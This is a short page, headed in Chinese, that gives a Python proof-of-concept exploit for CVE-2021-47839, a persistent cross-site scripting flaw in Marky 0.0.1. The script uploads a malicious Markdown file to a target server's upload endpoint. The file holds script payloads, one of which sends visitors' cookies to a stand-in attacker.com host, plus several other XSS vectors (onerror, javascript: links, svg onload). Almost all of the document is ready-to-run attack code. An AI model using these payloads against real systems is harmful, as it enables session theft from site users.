CVE-2021-47839 Marky 0.0.1 持久型跨站脚本漏洞

#!/usr/bin/env python3 """ CVE-2021-47839 PoC - Marky 0.0.1 Persistent XSS This PoC demonstrates how to exploit the persistent XSS vulnerability in Marky by uploading a malicious Markdown file. """ import requests import json TARGET_URL = "http://target-server.com" # Replace with actual target UPLOAD_ENDPOINT = f"{TARGET_URL}/upload" # Malicious Markdown payload with embedded JavaScript # This payload will execute JavaScript when the file is viewed MALICIOUS_PAYLOAD = '''# Document Title <script>alert("XSS Vulnerability Triggered - CVE-2021-47839");</script> ## Content This file contains a persistent XSS payload. <script> // Steal cookies and send to attacker document.write('<img src="http://attacker.com/log?cookie=' + document.cookie + '"/>'); </script> ## Additional Test Payloads: <img src=x onerror="alert(document.domain)"> <a href="javascript:alert(document.cookie)">Click me</a> <svg/onload=alert(document.cookie)> ''' def exploit_cve_2021_47839(): """ Upload malicious Markdown file to exploit persistent XSS """ files = { 'file': ('malicious.md', MALICIOUS_PAYLOAD, 'text/markdown') } try: # Upload the malicious file response = requests.post(UPLOAD_ENDPOINT, files=files) if response.status_code == 200: print("[+] Malicious file uploaded successfully!") print(f"[+] Payload will execute when file is viewed by any user") print(f"[+] Response: {response.text}") else: print(f"[-] Upload failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2021-47839 Marky Persistent XSS Exploit") print("=" * 50) exploit_cve_2021_47839()